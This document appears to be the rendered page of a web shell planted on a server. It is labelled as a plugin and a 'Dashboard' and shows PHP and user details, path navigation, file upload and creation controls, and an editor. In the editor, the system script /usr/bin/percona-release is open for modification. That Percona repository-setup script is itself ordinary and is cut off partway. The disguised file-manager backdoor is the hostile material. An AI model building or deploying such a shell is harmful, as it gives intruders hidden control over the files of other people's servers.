{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 18:18:47"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: percona-release</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/percona-release">
                    <textarea name="edit_content">#!/bin/bash
#
#
#If you want to make script non-interactive please change this variable to NO
INTERACTIVE=YES
#
if [[ $(id -u) -gt 0 ]]; then
  echo &quot;Please run $(basename ${0}) as root!&quot;
  exit 1
fi
#

shell_quote_string() {
  echo &quot;$1&quot; | sed -e &#039;s,\([^a-zA-Z0-9/_.=-]\),\\\1,g&#039;
}

append_arg_to_args () {
  args=&quot;$args &quot;$(shell_quote_string &quot;$1&quot;)
}

parse_arguments() {
    pick_args=
    if test &quot;$1&quot; = PICK-ARGS-FROM-ARGV
    then
        pick_args=1
        shift
    fi

    for arg do
        val=$(echo &quot;$arg&quot; | sed -e &#039;s;^--[^=]*=;;&#039;)
        case &quot;$arg&quot; in
            --user_name=*) USER_NAME=&quot;$val&quot; ;;
            --repo_token=*) REPO_TOKEN=&quot;$val&quot; ;;
            --help) show_help ;;
            *)
              if test -n &quot;$pick_args&quot;
              then
                  append_arg_to_args &quot;$arg&quot;
              fi
              ;;
        esac
    done
}

PRODUCTS_ABBREVIATIONS=(&quot;pdmdb&quot; &quot;pdps&quot; &quot;pdpxc&quot; &quot;pmm&quot; &quot;ppg11&quot; &quot;ppg12&quot; &quot;ppg13&quot; &quot;ppg14&quot; &quot;psmdb&quot; &quot;px&quot;)

function sort_array {
  ARRAY=$1
  local flagforabbr=&quot;pdmdb&quot;
  PRODUCTS=()
  OTHER_PRODUCTS=()
  for element in ${ARRAY[@]}
    do
      counter=1
      for abbr in ${PRODUCTS_ABBREVIATIONS[@]}
        do
          if [[ &quot;${element//-/}&quot; =~ ^$abbr.*$ ]]; then
            if [[ $flagforabbr == $abbr ]]; then
              PRODUCTS+=&quot;$element &quot;
            else
              flagforabbr=$abbr
              echo ${PRODUCTS}
              PRODUCTS=()
              PRODUCTS+=&quot;$element &quot;
              break
            fi
          else
            if [[ $counter == ${#PRODUCTS_ABBREVIATIONS[@]} ]]; then
              OTHER_PRODUCTS+=&quot;$element &quot;
            else
              counter=$((counter+1))
            fi
          fi
        done
    done
  echo -e ${PRODUCTS}
  echo -e ${OTHER_PRODUCTS}
}

function update_scheme_if_needed() {
    URL=&quot;http://repo.percona.com&quot;

    while [[ $# -gt 1 ]]; do
        if [[ &quot;$1&quot; == &quot;--scheme&quot; &amp;&amp; &quot;$2&quot; == &quot;https&quot; ]]; then
            URL=&quot;https://repo.percona.com&quot;
            shift 2
        elif [[ &quot;$1&quot; == &quot;--scheme&quot; &amp;&amp; &quot;$2&quot; == &quot;http&quot; ]]; then
            URL=&quot;http://repo.percona.com&quot;
            shift 2
        else
            shift
        fi
    done
}

function get_repos_from_site {
  if [ &quot;${REPOSITORIES}&quot; != &quot;&quot; ]; then
      return
  fi

  REPOSITORIES=$(curl -s ${URL} | tail -n +28  | grep href | grep -v https | awk -Fhref=\&quot; &#039;{print $2}&#039; | awk -F\/ &#039;{print $1}&#039;)
  if [ -z &quot;$REPOSITORIES&quot; ]; then
    REPOSITORIES=&quot;original ps-56 ps-57 ps-80 pxb-24 pxb-80 pxc-56 pxc-57 pxc-80 psmdb-36 psmdb-40 psmdb-42 tools ppg-11 ppg-11.5 ppg-11.6 ppg-11.7 ppg-11.8 ppg-12 ppg-12.2 ppg-12.3 pdmdb-4.2 pdmdb-4.2.6 pdmdb-4.2.7 pdmdb-4.2.8 pdps-8.0.19 pdpxc-8.0.19 pdps-8.0.20 pdps-8.0 pdpxc-8.0 prel telemetry proxysql sysbench pt mysql-shell pbm pmm-client pmm2-client pmm3-client pdmdb-4.4 pdmdb-4.4.0 psmdb-44&quot;
  fi

  REPOSITORIES=&quot;${REPOSITORIES} ps-57-eol pxc-57-eol&quot;
  REPOSITORIES=&quot;${REPOSITORIES/percona/original}&quot;
  for repo in ${REPOSITORIES[@]}
    do
      if [[ ${repo} =~ ^mysql-shell$|^pmm-client$|^pmm2-client$|^pmm3-client$|^pmm2-components$ ]]; then
        ALIASES+=&quot;${repo} &quot;
      else
        ALIASES+=&quot;${repo//-/} &quot;
      fi
    done
  REPOSITORIES=&quot;${REPOSITORIES//$&#039;\n&#039;/ }&quot;
}

COMMANDS=&quot;enable enable-silent enable-only setup disable show help&quot;
COMPONENTS=&quot;release testing experimental&quot;
REPOSITORIES=&quot;&quot;
SUPPORTED_ARCHS=&quot;i386 noarch x86_64 aarch64 sources&quot;

if [[ -f /etc/default/percona-release ]]; then
    source /etc/default/percona-release
fi

# Special proxy handling for cURL
CURL_PROXY=
CURL_EXEC=( /usr/bin/curl )
if [[ -n &quot;${https_proxy}&quot; ]] || [[ -n &quot;${http_proxy}&quot; ]] ||
   [[ -n &quot;${HTTPS_PROXY}&quot; ]] || [[ -n &quot;${HTTP_PROXY}&quot; ]]; then
    if [[ &quot;${URL}&quot; =~ ^https: ]]; then
        APT_PROXY_SCHEME=https
        CURL_PROXY=&quot;${https_proxy:-${HTTPS_PROXY}}&quot;
    else
        APT_PROXY_SCHEME=http
        CURL_PROXY=&quot;${http_proxy:-${HTTP_PROXY}}&quot;
    fi
    if [[ -n &quot;${CURL_PROXY}&quot; ]]; then
        CURL_EXEC=( /usr/bin/curl &quot;--proxy&quot; &quot;${CURL_PROXY}&quot; )
    fi
fi

#
DESCRIPTION=&quot;&quot;
DEFAULT_REPO_DESC=&quot;Percona Packaging Repository&quot;
PREL_DESC=&quot;Percona Release&quot;
TELEMETRY_DESC=&quot;Percona Telemetry&quot;
VALKEY_DESC=&quot;Percona Valkey&quot;
PT_DESC=&quot;Percona Toolkit&quot;
SYSBENCH_DESC=&quot;Sysbench&quot;
PROXYSQL_DESC=&quot;Proxysql&quot;
PBM_DESC=&quot;Percona Backup MongoDB&quot;
MYSQL_SHELL_DESC=&quot;Percona MySQL Shell&quot;
PMM_CLIENT_DESC=&quot;PMM Client&quot;
PMM2_CLIENT_DESC=&quot;PMM2 Client&quot;
PMM3_CLIENT_DESC=&quot;PMM3 Client&quot;
PS56_DESC=&quot;Percona Server for MySQL 5.6&quot;
PS57_DESC=&quot;Percona Server for MySQL 5.7&quot;
PS80_DESC=&quot;Percona Server for MySQL 8.0&quot;
PS80_PRO_DESC=&quot;Percona Server for MySQL 8.0 Pro&quot;
PS57_EOL_DESC=&quot;Percona Server for MySQL 5.7 EOL&quot;
PXC57_EOL_DESC=&quot;Percona XtraDB Cluster 5.7 EOL&quot;
PXB24_DESC=&quot;Percona XtraBackup 2.4&quot;
PXB80_DESC=&quot;Percona XtraBackup 8.0&quot;
PXC56_DESC=&quot;Percona XtraDB Cluster 5.6&quot;
PXC57_DESC=&quot;Percona XtraDB Cluster 5.7&quot;
PXC80_DESC=&quot;Percona XtraDB Cluster 8.0&quot;
PSMDB36_DESC=&quot;Percona Server for MongoDB 3.6&quot;
PSMDB40_DESC=&quot;Percona Server for MongoDB 4.0&quot;
PSMDB42_DESC=&quot;Percona Server for MongoDB 4.2&quot;
PSMDB_DESC=&quot;Percona Server for MongoDB&quot;
TOOLS_DESC=&quot;Percona Tools&quot;
PPG11_DESC=&quot;Percona Distribution for PostgreSQL 11&quot;
PPG11_5_DESC=&quot;Percona Distribution for PostgreSQL 11.5&quot;
PPG11_6_DESC=&quot;Percona Distribution for PostgreSQL 11.6&quot;
PPG11_7_DESC=&quot;Percona Distribution for PostgreSQL 11.7&quot;
PPG11_8_DESC=&quot;Percona Distribution for PostgreSQL 11.8&quot;
PDMDB4_2_DESC=&quot;Percona Distribution for MongoDB 4.2&quot;
PDMDB4_2_6_DESC=&quot;Percona Distribution for MongoDB 4.2.6&quot;
PDMDB4_2_7_DESC=&quot;Percona Distribution for MongoDB 4.2.7&quot;
PDMDB4_2_8_DESC=&quot;Percona Distribution for MongoDB 4.2.8&quot;
PPG12_DESC=&quot;Percona Distribution for PostgreSQL 12&quot;
PPG12_2_DESC=&quot;Percona Distribution for PostgreSQL 12.2&quot;
PPG12_3_DESC=&quot;Percona Distribution for PostgreSQL 12.3&quot;
PDPXC80_19_DESC=&quot;Percona Distribution for MySQL 8.0.19 - PXC&quot;
PDPS80_19_DESC=&quot;Percona Distribution for MySQL 8.0.19 - PS&quot;
PDPS80_20_DESC=&quot;Percona Distribution for MySQL 8.0.20 - PS&quot;
PDPS80_DESC=&quot;Percona Distribution for MySQL 8.0 - PS&quot;
PDPXC80_DESC=&quot;Percona Distribution for MySQL 8.0 - PXC&quot;
PPG_DESC=&quot;Percona Distribution for PostgreSQL&quot;
PDMDB_DESC=&quot;Percona Distribution for MongoDB&quot;
PDPS_DESC=&quot;Percona Distribution for MySQL - PS&quot;
PDPS8X_INNOVATION_DESC=&quot;Percona Distribution for MySQL - PS 8x Innovation&quot;
PS8X_INNOVATION_DESC=&quot;Percona Server for MySQL - PS 8x Innovation&quot;
PXC8X_INNOVATION_DESC=&quot;Percona XtraDB Cluster 8x Innovation&quot;
PDPXC8X_INNOVATION_DESC=&quot;Percona Distribution XtraDB Cluster 8x Innovation&quot;
PXB8X_INNOVATION_DESC=&quot;Percona XtraBackup 8x Innovation&quot;
PDPS9X_INNOVATION_DESC=&quot;Percona Distribution for MySQL - PS 9x Innovation&quot;
PS9X_INNOVATION_DESC=&quot;Percona Server for MySQL - PS 9x Innovation&quot;
PXC9X_INNOVATION_DESC=&quot;Percona XtraDB Cluster 9x Innovation&quot;
PDPXC9X_INNOVATION_DESC=&quot;Percona Distribution XtraDB Cluster 9x Innovation&quot;
PXB9X_INNOVATION_DESC=&quot;Percona XtraBackup 9x Innovation&quot;
PS_DESC=&quot;Percona Server for MySQL - PS&quot;
PDPXC_DESC=&quot;Percona Distribution for MySQL - PXC&quot;
#
PS56REPOS=&quot;ps-56 tools&quot;
PS57REPOS=&quot;ps-57 pxb-24&quot;
PS80REPOS=&quot;ps-80&quot;
PS57EOLREPOS=&quot;ps-57-eol&quot;
PXC57EOLREPOS=&quot;pxc-57-eol&quot;
PXC56REPOS=&quot;pxc-56 tools&quot;
PXC57REPOS=&quot;pxc-57 pxb-24&quot;
PXC80REPOS=&quot;pxc-80&quot;
PXB24REPOS=&quot;pxb-24&quot;
PXB80REPOS=&quot;pxb-80&quot;
PSMDB36REPOS=&quot;psmdb-36 pbm&quot;
PSMDB40REPOS=&quot;psmdb-40 tools&quot;
PSMDB42REPOS=&quot;psmdb-42 tools&quot;
PPG11REPOS=&quot;ppg-11&quot;
PPG11_5_REPOS=&quot;ppg-11.5&quot;
PPG11_6_REPOS=&quot;ppg-11.6&quot;
PPG11_7_REPOS=&quot;ppg-11.7&quot;
PPG11_8_REPOS=&quot;ppg-11.8&quot;
PDMDB4_2_6_REPOS=&quot;pdmdb-4.2.6&quot;
PDMDB4_2_7_REPOS=&quot;pdmdb-4.2.7&quot;
PDMDB4_2_8_REPOS=&quot;pdmdb-4.2.8&quot;
PDMDB4_2_REPOS=&quot;pdmdb-4.2&quot;
PPG12_REPOS=&quot;ppg-12&quot;
PPG12_2_REPOS=&quot;ppg-12.2&quot;
PPG12_3_REPOS=&quot;ppg-12.3&quot;
PDPS80_REPOS=&quot;pdps-8.0&quot;
PDPS8X_INNOVATION_REPOS=&quot;pdps-8x-innovation&quot;
PS8X_INNOVATION_REPOS=&quot;ps-8x-innovation&quot;
PS84_LTS_REPOS=&quot;ps-84-lts&quot;
PDPS84_LTS_REPOS=&quot;pdps-84-lts&quot;
PXC8X_INNOVATION_REPOS=&quot;pxc-8x-innovation&quot;
PXC84_LTS_REPOS=&quot;pxc-84-lts&quot;
PDPXC8X_INNOVATION_REPOS=&quot;pdpxc-8x-innovation&quot;
PDPXC84_LTS_REPOS=&quot;pdpxc-84-lts&quot;
PXB8X_INNOVATION_REPOS=&quot;pxb-8x-innovation&quot;
PXB84_LTS_REPOS=&quot;pxb-84-lts&quot;
PDPS9X_INNOVATION_REPOS=&quot;pdps-9x-innovation&quot;
PS9X_INNOVATION_REPOS=&quot;ps-9x-innovation&quot;
PXC9X_INNOVATION_REPOS=&quot;pxc-9x-innovation&quot;
PDPXC9X_INNOVATION_REPOS=&quot;pdpxc-9x-innovation&quot;
PXB9X_INNOVATION_REPOS=&quot;pxb-9x-innovation&quot;
PDPXC80_REPOS=&quot;pdpxc-8.0&quot;
PDPS80_19_REPOS=&quot;pdps-8.0.19&quot;
PDPS80_20_REPOS=&quot;pdps-8.0.20&quot;
PDPXC80_19_REPOS=&quot;pdpxc-8.0.19&quot;
PREL_REPOS=&quot;prel telemetry&quot;
PROXYSQL_REPOS=&quot;proxysql&quot;
SYSBENCH_REPOS=&quot;sysbench&quot;
PT_REPOS=&quot;pt&quot;
MYSQL_SHELL_REPOS=&quot;mysql-shell&quot;
PBM_REPOS=&quot;PBM&quot;
PMM_CLIENT_REPOS=&quot;pmm-client&quot;
PMM2_CLIENT_REPOS=&quot;pmm2-client&quot;
PMM3_CLIENT_REPOS=&quot;pmm3-client&quot;
TOOLS_REPOS=&quot;tools&quot;
ORIGINAL_REPOS=&quot;original&quot;
#
AUTOUPDATE=NO
MODIFIED=NO
REPOFILE=&quot;&quot;
#          RH derivatives      and          Amazon Linux
if [[ -f /etc/redhat-release ]] || [[ -f /etc/system-release ]]; then
  LOCATION=/etc/yum.repos.d
  EXT=repo
  PKGTOOL=dnf
  ARCH=$(rpm --eval %_arch)
elif [[ -f /etc/debian_version ]]; then
  LOCATION=/etc/apt/sources.list.d
  EXT=list
  PKGTOOL=&quot;apt-get&quot;
  CODENAME=$(lsb_release -sc)
else
  echo &quot;==&gt;&gt; ERROR: Unsupported operating system&quot;
  exit 1
fi
#
function show_enabled {
  echo &quot;The following repositories are enabled on your system:&quot;
  if [[ -f /etc/redhat-release ]] || [[ -f /etc/system-release ]]; then
    for line in $(dnf repolist enabled | grep -Ei -e &quot;percona|sysbench|proxysql|pmm&quot; | awk &#039;{print $1}&#039; | awk -F&#039;/&#039; &#039;{print $1}&#039; ); do
      count=$(grep -o &#039;-&#039; &lt;&lt;&lt; $line | wc -l)
      if [[ $count = 3 ]]; then
        echo $line | awk -F &#039;-&#039; &#039;{print $1&quot;-&quot;$2,&quot;- &quot;$3,&quot;| &quot;$4}&#039;
      else
        echo $line | awk -F &#039;-&#039; &#039;{print $1&quot; - &quot;$2&quot; | &quot; $3}&#039;
      fi
    done
  elif [[ -f /etc/debian_version ]]; then
    grep -E &#039;^deb\s&#039; /etc/apt/sources.list /etc/apt/sources.list.d/*.list | cut -f2- -d: | grep &quot;${URL/http*:\/\//}&quot; | awk &#039;{print $3$5}&#039; | sed &quot;s;${URL}/;;g&quot; | sed &#039;s;/apt; - ;g&#039; | sed &#039;s;percona;original;g&#039; | sed &#039;s;main;release;g&#039;
  else
    echo &quot;==&gt;&gt; ERROR: Unsupported operating system&quot;
    exit 1
  fi
}
#
function is_supported_arch {
  local arch=$1

  for _arch in ${SUPPORTED_ARCHS}; do
        [[ ${_arch} = ${arch} ]] &amp;&amp; return
  done
  return 1
}

function check_specified_alias {
  local found=NO
  [[ -z ${1} ]] &amp;&amp; echo &quot;ERROR: No product alias specified!&quot; &amp;&amp; show_help &amp;&amp; exit 2
  for _alias in ${ALIASES}; do
    NAME=$(echo ${1} | sed &#039;s/-//&#039; )
    # Ignore alias in case of -pro repos
    [[ ${NAME} == *eol ]] &amp;&amp; found=YES
    [[ ${NAME} == *innovation ]] &amp;&amp; found=YES
    [[ ${NAME} == *lts ]] &amp;&amp; found=YES
    [[ ${_alias} = ${NAME} ]] &amp;&amp; found=YES
  done
  if [[ ${found} = NO ]]; then
    echo &quot;ERROR: Unknown alias specification: ${1}&quot;
    echo &quot;Available product aliases are: ${ALIASES}&quot;
    exit 2
  fi
}

function read_credentials_from_config {

  config_file=&quot;${HOME}/.percona-private-repos.config&quot;

  section_name=$1

  # Check if section_name is provided
  if [ -z &quot;$section_name&quot; ]; then
    echo &quot;Usage: $0 &lt;section_name&gt;&quot;
    exit 1
  fi

  # Check if the config file exists
  if [ ! -f &quot;$config_file&quot; ]; then
    echo &quot;Config file not found: $config_file&quot;
    exit 1
  fi

  # Read the specified section from the config file
  section_content=$(awk -v section=&quot;$section_name&quot; &#039;/^\[/{flag=0} /^\[&#039;&quot;$section_name&quot;&#039;\]/{flag=1;next} flag&#039; &quot;$config_file&quot;)

  # Check if the section exists
  if [ -z &quot;$section_content&quot; ]; then
    echo &quot;Section not found: [$section_name]&quot;
    exit 1
  fi

  # Parse the section content and export variables
  while IFS= read -r line; do
    if [[ &quot;$line&quot; =~ ^[a-zA-Z_][a-zA-Z0-9_]*= ]]; then
        export &quot;$line&quot;
    fi
  done &lt;&lt;&lt; &quot;$section_content&quot;
}

function check_specified_repo {
  local found=NO
  [[ -z ${1} ]] &amp;&amp; echo &quot;ERROR: No repository specified!&quot; &amp;&amp; show_help &amp;&amp; exit 2
  for _repo in ${REPOSITORIES}; do
    [[ ${_repo} = ${1} ]] &amp;&amp; found=YES
  done
  if [[ ${found} = NO ]]; then
    echo &quot;ERROR: Unknown repository: ${1}&quot;
    echo &quot;Available repositories are: ${REPOSITORIES}&quot;
    exit 2
  fi

  if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
    if [[ -z ${USER_NAME} ]] || [[ -z ${REPO_TOKEN} ]]; then
      echo -e &quot;ERROR: ${REPO_NAME} requires user_name and repo_token for ${REPO_NAME} repository. Either pass credentials using --user_name and --repo_token switches or create file ${HOME}/.percona-private-repos.config with following values:\n\n[${REPO_NAME}]\nUSER_NAME=&lt;Your PRO repository user name&gt;\nREPO_TOKEN=&lt;Your PRO repository token&gt;&quot; &amp;&amp; exit 2
    fi
  fi
}

#
function check_os_support {
   REPO_NAME=$1
   COMPONENT=$2
   if [[ ${PKGTOOL} = dnf ]]; then
    if [ -f /etc/os-release ]; then
      OS_VER=$(grep VERSION_ID= /etc/os-release | awk -F&#039;&quot;&#039; &#039;{print $2}&#039; | awk -F&#039;.&#039; &#039;{print $1}&#039;)
    else
      OS_VER=$(cat /etc/system-release | awk &#039;{print $(NF-1)}&#039; | awk -F&#039;.&#039; &#039;{print $1}&#039;)
    fi

    if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
      [[ -z ${USER_NAME} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires user_name for ${REPO_NAME} repository. Use --user_name switch to pass user name&quot; &amp;&amp; exit 2
      [[ -z ${REPO_TOKEN} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires repo_token for ${REPO_NAME} repository. Use --repo_token switch to pass repository token&quot; &amp;&amp; exit 2
    fi

    if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
      reply=$(&quot;${CURL_EXEC[@]}&quot; -Is ${URL}/private/${USER_NAME}-${REPO_TOKEN}/${REPO_NAME}/yum/${COMPONENT}/${OS_VER}/ | head -n 1 | awk &#039;{print $2}&#039;)
    else
      reply=$(&quot;${CURL_EXEC[@]}&quot; -Is ${URL}/${REPO_NAME}/yum/${COMPONENT}/${OS_VER}/ | head -n 1 | awk &#039;{print $2}&#039;)
    fi
  elif [[ ${PKGTOOL} = &quot;apt-get&quot; ]]; then
    OS_VER=$(lsb_release -sc)
    if [[ ${REPO_NAME} == *-eol ]]; then
      reply=$(&quot;${CURL_EXEC[@]}&quot; -Is ${URL}/private/${USER_NAME}-${REPO_TOKEN}/${REPO_NAME}/apt/dists/${OS_VER}/ | head -n 1 | awk &#039;{print $2}&#039;)
    else
      reply=$(&quot;${CURL_EXEC[@]}&quot; -Is ${URL}/${REPO_NAME}/apt/dists/${OS_VER}/ | head -n 1 | awk &#039;{print $2}&#039;)
    fi
  fi
  if [[ ${reply} != 200 ]]; then
      if [[ ${REPO_NAME} == *-eol ]]; then
        echo &quot;Specified repository ($REPO_NAME) is not supported for current operating system or check your credentials.&quot;
      else
        echo &quot;Specified repository is not supported for current operating system!&quot;
      fi
      exit 2
  fi
}
#
function check_repo_availability {
  if [[ &quot;$2&quot; == &quot;-y&quot; ]]; then
    REPO_NAME=${3}
    COMPONENT=${4}
  else
    REPO_NAME=${2}
    COMPONENT=${3}
  fi

  if [[ -z ${COMPONENT} ]] || [[ ${COMPONENT} == *&quot;--user_name=&quot;* ]] || [[ ${COMPONENT} == *&quot;--repo_token=&quot;* ]] || [[ ${COMPONENT} == *&quot;--scheme&quot;* ]] || [[ ${COMPONENT} == *&quot;http&quot;* ]]; then
    COMPONENT=&quot;release&quot;
  fi

  if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
    if [ -f &quot;${HOME}/.percona-private-repos.config&quot; ]; then
      read_credentials_from_config ${REPO_NAME}
    else
      parse_arguments PICK-ARGS-FROM-ARGV &quot;$@&quot;
    fi
  fi

  if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
        if [[ -z ${USER_NAME} ]] || [[ -z ${REPO_TOKEN} ]]; then
          echo -e &quot;ERROR: ${REPO_NAME} requires user_name and repo_token for ${REPO_NAME} repository. Either pass credentials using --user_name and --repo_token switches or create file ${HOME}/.percona-private-repos.config with following values:\n\n[${REPO_NAME}]\nUSER_NAME=&lt;Your PRO repository user name&gt;\nREPO_TOKEN=&lt;Your PRO repository token&gt;&quot; &amp;&amp; exit 2
        fi
  fi

  if [[ -z ${COMPONENT} ]] || [[ ${COMPONENT} == *&quot;user_name=&quot;* ]] || [[ ${COMPONENT} == *&quot;repo_token=&quot;* ]] || [[ ${COMPONENT} == *&quot;--scheme&quot;* ]] || [[ ${COMPONENT} == *&quot;http&quot;* ]]; then
     COMPONENT=&quot;release&quot;
  fi
  [[ -z ${REPO_NAME} ]] &amp;&amp; return 0
  [[ ${REPO_NAME} == &quot;original&quot; ]] &amp;&amp; REPO_NAME=percona
  [[ ${REPO_NAME} == &quot;all&quot; ]] &amp;&amp; return 0
  if ! [[ ${REPO_NAME} =~ ^mysql-shell$|^pmm-client$|^pmm2-client$|^pmm3-client$|^pmm2-components$ ]]; then
    REPO_NAME=$(echo ${REPO_NAME} | sed &#039;s/-//&#039; | sed &#039;s/\([0-9]\)/-\1/&#039;)
  fi
  if [[ ${REPO_NAME} == *xinnovation ]]; then
    REPO_NAME=$(echo ${REPO_NAME} | sed &#039;s/innovation/-innovation/&#039; )
  fi
  if [[ ${REPO_NAME} == *4lts ]]; then
    REPO_NAME=$(echo ${REPO_NAME} | sed &#039;s/lts/-lts/&#039; )
  fi

  if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
    [[ -z ${USER_NAME} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires user_name for ${REPO_NAME} repository. Use --user_name switch to pass user name&quot; &amp;&amp; exit 2
    [[ -z ${REPO_TOKEN} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires repo_token for ${REPO_NAME} repository. Use --repo_token switch to pass repository token&quot; &amp;&amp; exit 2
    REPO_LINK=&quot;${URL}/private/${USER_NAME}-${REPO_TOKEN}/${REPO_NAME}/&quot;
  else
    REPO_LINK=&quot;${URL}/${REPO_NAME}/&quot;
  fi
  reply=$(&quot;${CURL_EXEC[@]}&quot; -Is ${REPO_LINK} | head -n 1 | awk &#039;{print $2}&#039;)
  if [[ ${reply} == 200 ]]; then
    if [[ ${REPOSITORIES} != &quot;*${REPO_NAME}*&quot; ]]; then
      REPO_ALIAS=$(echo ${REPO_NAME} | sed &#039;s/-//&#039;)
      ALIASES=&quot;${REPOSITORIES} ${REPO_ALIAS}&quot;
      REPOSITORIES=&quot;${REPOSITORIES} ${REPO_NAME}&quot;
      check_os_support ${REPO_NAME} ${COMPONENT}
    fi
  else
    if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
      echo &quot;Specified repository does not exist: ${REPO_LINK} or check your repository credentials&quot;
    else
      echo &quot;Specified repository does not exist: ${REPO_LINK}&quot;
    fi
    exit 2
  fi
}
#

function check_specified_component {
  local message=&quot;&quot;
  local found=NO
  for _component in all ${COMPONENTS}; do
    [[ ${_component} = ${1} ]] &amp;&amp; found=YES
  done
  [[ ${found} = NO ]] &amp;&amp; message=&quot;ERROR: Unknown component specification: ${1}&quot;
  [[ -n ${message} ]] &amp;&amp; echo ${message} &amp;&amp; show_help &amp;&amp; exit 2
}
#
function show_message {
  echo &quot;&lt;*&gt; All done!&quot;
  if [[ ${MODIFIED} = YES ]] &amp;&amp; [[ ${PKGTOOL} = &quot;apt-get&quot; ]]; then
    echo &quot;==&gt; Please run \&quot;${PKGTOOL} update\&quot; to apply changes&quot;
  fi
}
#
function show_help {
  echo
  echo &quot;Usage:     $(basename ${0}) enable | enable-silent | enable-only | setup | disable (&lt;REPO&gt; | all) [COMPONENT] | show&quot;
  echo &quot;  Example: $(basename ${0}) enable tools release&quot;
  echo &quot;  Example: $(basename ${0}) enable-only ps-80 experimental&quot;
  echo &quot;  Example: $(basename ${0}) setup ps57 | ps-57&quot;
  echo &quot;  Example: $(basename ${0}) setup -y ps57 | setup -y ps-57&quot;
  echo &quot;  Example: $(basename ${0}) show&quot;
  echo &quot;  Example: $(basename ${0}) enable ps-80 --scheme https&quot;
  echo &quot;  Example: $(basename ${0}) enable-only ps-80 testing --scheme https&quot;
